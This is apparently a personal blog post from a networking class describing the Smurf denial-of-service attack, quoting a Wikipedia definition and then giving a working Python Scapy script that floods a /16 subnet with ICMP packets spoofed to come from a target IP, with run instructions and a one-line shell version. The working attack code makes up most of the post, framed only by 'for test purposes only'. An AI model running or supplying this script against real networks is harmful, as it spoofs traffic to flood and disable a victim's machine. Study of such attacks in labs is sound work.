Wednesday, August 6, 2014

Angry Smurfs. Distributed Denial-of-Service Attack

Today we've learned about network attacks. One of them was "Smurf Attack"

From Wiki:
The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia

On the lesson we writed a code in Python Scapy and I've done first:
#!/usr/bin/python

from scapy.all import *
import sys

def send_packet(a):
   send(IP(src=sys.argv[1],dst=a)/ICMP())
   
def main():

   a=arping('172.16.0.0/16',verbose=0)
   for i in a[0]:
      send_packet(i[0].pdst)

if __name__ == '__main__':
   main()
Just run it with target IP in parameter. For test purposes only :)

After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.

Challenge accepted! :) And the result:
>>>send(IP(src='172.16.100.100',dst=[i[0].pdst for i in arping('172.16.0.0/16')[0]])/ICMP()) 
Выкуси! :)

2 comments:

  1. Nice :))) work!!
    But you forgont insert the first line
    frome scapy.all import *

    P.S. Выкуси ! =]]
    P.S. Выкуси! :))

    ReplyDelete
  2. читать научись :) interactive shell :)

    ReplyDelete